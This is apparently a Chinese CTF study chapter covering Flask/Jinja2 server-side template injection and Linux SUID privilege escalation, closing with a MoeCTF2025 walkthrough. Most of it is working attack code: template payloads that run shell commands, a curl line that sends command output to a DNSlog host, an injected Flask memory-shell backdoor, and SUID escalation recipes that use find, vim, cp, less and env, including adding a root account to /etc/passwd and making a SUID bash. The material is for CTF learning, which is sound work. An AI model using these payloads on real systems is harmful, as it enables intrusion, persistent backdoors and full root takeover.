扶摇·二--SSTI拓展和SUID提权
在 MoeCTF 第 22 章的时候我们遇到了无回显 SSTI,题解给了好几个方法,有一个要用 SUID 提权。
本章我们就来系统化拓展 SSTI,学习无回显 SSTI 的方法和 SUID 提权等
SSTI 的入口点拓展
经过之前的学习,我们了解了许多 SSTI 的入口点,例如
基类对象
() - 空元组
[] - 空列表
{} - 空字典
"" - 空字符串
None - 空对象
这些对象都通过 class+base+subclasses 继承链访问自己的类(或同一父类的类)所访问的全局变量(globals),从而从全局变量字典中取出 builtins 键,builtins 包含危险函数:open、eval、exec、import 等
也可以将 builtins 理解成一个找模块的工具,有的有现成的 os 模块或者 eval 内置函数,有的要用 builtins 去查这两个(os 模块和 eval+os 是两个东西)

1 | {{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']}} |
另外有的类可以直接读取文件,调用这个类后面加路径即可
1 | {{"".__class__.__bases__[0].__subclasses__()[xx]('/flag').read() }} |
内置全局变量
config(基础)
我们了解过 config,这属于内置全局变量,它可以直接调用 os 模块而省略基类对象中 builtins 后繁重的调用环节
1 | {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
1 | ['eval']('__import__("os").popen("ls").read()')}} //繁重的调用环节 |
显然,这两个”globals”作用不同,config 的更为宽泛,其属于从 Flask 的 config 对象的类的初始化函数获取的全局变量,包含的是整个 Flask 应用的全局变量,但有的环境下这些的确用不了
除了 config,还有许多内置全局变量,其对应的 globals 都不尽相同
lipsum- Jinja2 内置的 Lorem Ipsum 生成器config- Flask 应用配置对象request- HTTP 请求对象session- 会话对象g- 应用全局对象url_for- URL 生成函数
他们访问全局变量和进行 RCE 的方法小异但大同,这里一一列举一下
lipsum(荐)
自己的 globals 全局变量就能直接访问 os 模块进行 RCE,不需要像 config 这样推
config.__class__.__init__. ...
1 | {{lipsum.__globals__['os'].popen('cat /flag').read()}} |
request
首先子类方法。可以尝试接 builtins 找模块
1 | {{request.__class__.__mro__[1].__subclasses__()[xx]}} |
然后直接 builtins 也行,里面也有 eval,直接写 builtins 后面的就行
1 | {{request.application.__globals__['__builtins__']}} |
调用 os 模块,这里 globals 里面没 os,要用 builtins 来寻找一下
1 | request.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() |
调用 eval 函数,接这些就行了
1 | ['eval']('__import__("os").popen("ls").read()')}} //繁重的调用环节 |
url_for
也是 Moe 里面接触过了的,globals 里面直接有 os 模块,不用 builtins 找
1 | {{url_for.__globals__['os'].popen('cat /flag').read()}} |
可惜 url_for 用 builtins 找不到 os 模块和 eval 模块,只能用最直接的 os 模块了
g
g 也不能直接访问 globals,要靠这样访问
1 | {{g.__class__.__init__.__globals__}} |
[‘builtins‘]和 os 有的环境有,有的环境没有,要看实际情况
session
session 访问 globals 的方法是这样,但也要看环境
1 | {{session.__globals__['os'].popen('cat /flag').read()}} |
总结
这些全局变量有的有 os eval,有的没有;有时有,有时又没有,这里的说明不是绝对的,还需看实际情况自己排列组合,除了 g 和 session,前面四个写出来的代码基本上都是至少在一个环境下成功了的
且有的全局变量根本不存在,可以先访问它的.class.__init__判断
模板上下文对象
模板上下文对象比较陌生,其实都是一样的
self - 模板自身
cycler - 循环工具
joiner - 连接工具
namespace - 命名空间
cycler(荐)
这个是比较推荐,对环境要求很低的,还能省略 class,几种方法都成功过
1 | {{ cycler.__init__.__globals__.os.popen('ls').read() }} |
1 | {{cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} |
1 | {{cycler.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
joiner(荐)
和 cycler 很像,能够不用 builtins 访问 os 模块
1 | {{joiner.__init__.__globals__.os.popen('id').read() }} |
1 | {{joiner.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
1 | {{joiner.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} |
namespace
这些也都是成功过的,有没有 builtins 都能用
1 | {{ namespace.__init__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }} |
1 | {{namespace.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} |
1 | {{namespace.__init__.__globals__.os.popen('id').read() }} |
self
这个对环境要求就高点了
1 | {{self.__class__.__mro__[1].__subclasses__()}} |
1 | {{ self.__init__.__globals__ }} |
试试吧
eval/os 外其他模块
除了常见的 os,还有很多模块可以用于 RCE 或信息收集
这里不看类名,看一看后半部分的利用方式吧
1 | # subprocess - 最强大的命令执行 |
这里面第二行这个是测试过成功的,其余还是看环境吧
1 | # pathlib (Python 3.4+) |
这些是任意文件的匹配,但好像不能读取
无回显 SSTI
反弹 shell/curl 反弹/写文件(需要出网)
用无回显 RCE 的方法,只要有 os 模块就能使用反弹 shell(但好像从来没有做成功过(?))
1 | {{lipsum.__globals__['os'].popen('curl `ls`.u7l6l9.dnslog.cn').read()}} |
注入内存马(需要 eval 模块)
用这样一个方式吧,注入内存马,用 get 提交 cmd 为命令执行即可
符号比较多,注意 URL 编码
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}} |

也可以这样
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}} |
通过 static/回显
这个只有部分环境支持,用 os/eval 就行,带到./static/out.txt 目录
1 | {{lipsum.__globals__['os']['popen']('mkdir static; whoami > ./static/out.txt')}} |
就像这样

SUID 提权
SUID 的含义
**SUID (Set owner User ID) **是 Linux 文件的一个特殊权限位。当程序设置了 SUID 位:
普通用户执行这个程序时,会临时获得程序所有者的权限(通常是 root)
就像普通人捡到了经理的门禁卡,可以进经理办公室
1 | # 普通文件权限 |
SUID 提权的基本步骤/find 提权
先用 find 找到具有 SUID 的程序
1 | $ find / -perm -4000 2>/dev/null |
像这样,就找到了一些具有 suid 的程序

如果这里面有 find(这里以 find 提权为例)我们可以利用 ls -l 看看 find 具有的权限
1 | ls -l /usr/bin/find |
我们会发现是 rwsr,说明执行这个程序(执行 find 命令)时具有更高的权限

下一步就是要思考怎么用 find 这一命令去进行任意命令执行
这里我们需要知道 find 命令有个参数叫-exec,可以进行命令执行,像这样
1 | find /etc/passwd -exec whoami \;//或者find /etc/passwd -exec "whoami" ; |
结果就是 root 了,意味着我们使用 cat /flag 等敏感命令的时候不受权限限制
这里只要修改一下参数就行了
1 | find /etc/passwd -exec cat /fl* \; //任意命令执行 |
vim 提权
下一个要讲的是 vim 提权,通过信息收集得知它具有 suid 的步骤还是跟 find 提权一样
vim 这个命令通常是用于编辑文件,既然有 suid,那就可以访问/etc/sudoers
可惜 vim 提权通常要像这样多行执行,对 CTF 有点局限
1 | # 1. 用vim打开sudoers文件(控制sudo权限) |
base64 提权
base64 如果有 suid,可以进行任意文件读取,这很简单
1 | # 场景:你是www-data,不能直接看flag |
当然先写 shell 再由 base64 解码写入一个新的 php 文件,这里的写入放在 base64 后也是被提权过的,正常用户权限无法写入文件
1 | 准备webshell内容 |
cp 提权
cp 是 copy 的缩写,顾名思义,它的核心功能就是复制文件或目录
1 | # 语法:cp 源文件 目标文件 |
拥有 root 权限的 cp,可以将任意文件拷贝至无权限时无法访问的目录或文件
这样的话,我们可以先写文件至有权限访问的目录(前提是有权限写文件),再将其拷贝至敏感,无法访问的文件(例如权限列表等)
具体的实操,前面分析 cp 具有 uid 的步骤还是跟之前一样
1 | # 1. 首先检查cp是否有SUID权限 |
我们通过 cp 修改/etc/passwd 创建一个具有管理员权限的账户,接着再切换到本账户,就做到了提权
具体命令如下
1 | # 2. 先备份一份系统passwd文件到/tmp目录 |
1 | # 3. 生成一个带自定义盐值的密码哈希 |
1 | # 4. 在passwd副本中添加恶意用户 |
1 | # 5. 用cp以root身份覆盖系统passwd文件 |
1 | # 6. 切换到新创建的用户 |
etc/passwd 格式问题
实际上/etc/passwd 的格式是这样的
1 | 用户名:密码占位符:UID:GID:用户描述:家目录:登录shell |
对比一下我们的,可以一一对应
1 | 'hacker:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' |
当然如果说没有交互界面,也可以试试写 sudoers
1 | # 一行命令:添加sudo权限 |
或者这样就请输入文本了
1 | # 1. 确认cp有SUID |
cp 提权处理二进制文件拿 shell
这里引用了一下 chrizsty 学长的笔记,感谢
实际操作
首先进入 SUID 部分,我们可以看到它提供了三个漏洞。前两个是文件写入漏洞;然而,第三个漏洞非常有趣,它通过将 SUID 权限从一个二进制文件复制到另一个二进制文件来更改文件。
由于 cp 本身具有 SUID 权限,这意味着我们可以使用 cp 将其自己的 SUID 权限注入到我们想要注入的任何二进制文件中!
此漏洞不仅会将 SUID 权限注入到任何其他二进制文件中,还会注入 cp 上设置的所有权限(包括文件所有权)。
为了利用这一点,我们需要考虑一个想要添加 SUID 权限的二进制文件。
为了轻松地提升权限,第一个想到的二进制文件是 bash。
根据最佳实践,如果没有必要,我们不应直接编辑系统二进制文件。相反,我们可以用 cp 将要注入的二进制文件复制到 /tmp 目录,然后注入该副本。
1 | cp /bin/bash /tmp |
由于 cp 具有 SUID 权限,它将 root 保留为文件所有者,但它确实将我们当前的用户 “user” 指定为组所有者。
这里是因为是我们当前用户使用了 cp 复制文件
所以我们将 cp 的权限注入到我们的 bash 副本中时,我们将看到所有权将从 root:user 变为 root:root。
1 | /bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash |
使用拷贝后的 bash,我们只需发出命令便可以进入 root shell。
1 | /tmp/bash -p |
合起来就是这样
1 | cp /bin/bash /tmp |
less/more 提权
如图,less 和 more 是同理可互换的
1 | # 当前是普通用户 |
1 | $ less /etc/passwd |
env 提权
如图吧,直接进入 shell
1 | /usr/bin/env /bin/sh -p |
自定义提权(本章综合训练)
有的题会修改一些命令的底层逻辑,比如 MoeCTF2025 中在篇目前提到的这题,然后又让这条命令存在 SUID 提权。要求你发现修改后的底层逻辑,并正确使用这一高权限命令进行提权。
我们将本题当做本章的综合训练复现
输入49,题目似乎没有回显,但 hint 说明了本题属于 SSTI,故为无回显 SSTI

上文中我们学习了内存马,这里选择打内存马进行 RCE
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}} |
输入 ls,发现命令确实被执行成功了

查看根目录,发现有 flag

但当输入 cat /flag 时,回显了空页面,说明无权限查阅

这里就要思考到 suid 提权了,我们就要用 find 找到具有 suid 的文件
1 | find / -perm -4000 2>/dev/null |
有这么多,但好像都不是我们的目标

这里之所以叫自定义提权,因为题目修改了 rev 这个命令的逻辑,而且存在未编译文件的泄露

可以查看一下 rev.c,也就是这个命令的源码
很明显发现,这 rev.c 被植入了后门
1 |
|
如果命令后带有–HDdss,则将后续的字符串当命令执行(这有点小 re 的感觉了)
且注意一下 strcmp 函数,他是通过了才返回 0,没通过不返回 0 的,因此==0 写法是对的
因此我们可以用 rev 和–HDdss 执行后门函数
1 | rev --HDdss cat /fl* |

总结
通过 MoeCTF2025 中遇到的问题,我们学习了新的知识点 SSTI 拓展,尤其是无回显 SSTI 以及 SUID 提权,将一开始
觉得描述的特别复杂的 WP 一步步拆解了,最后成功进行了复现
本章结束 🎆
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

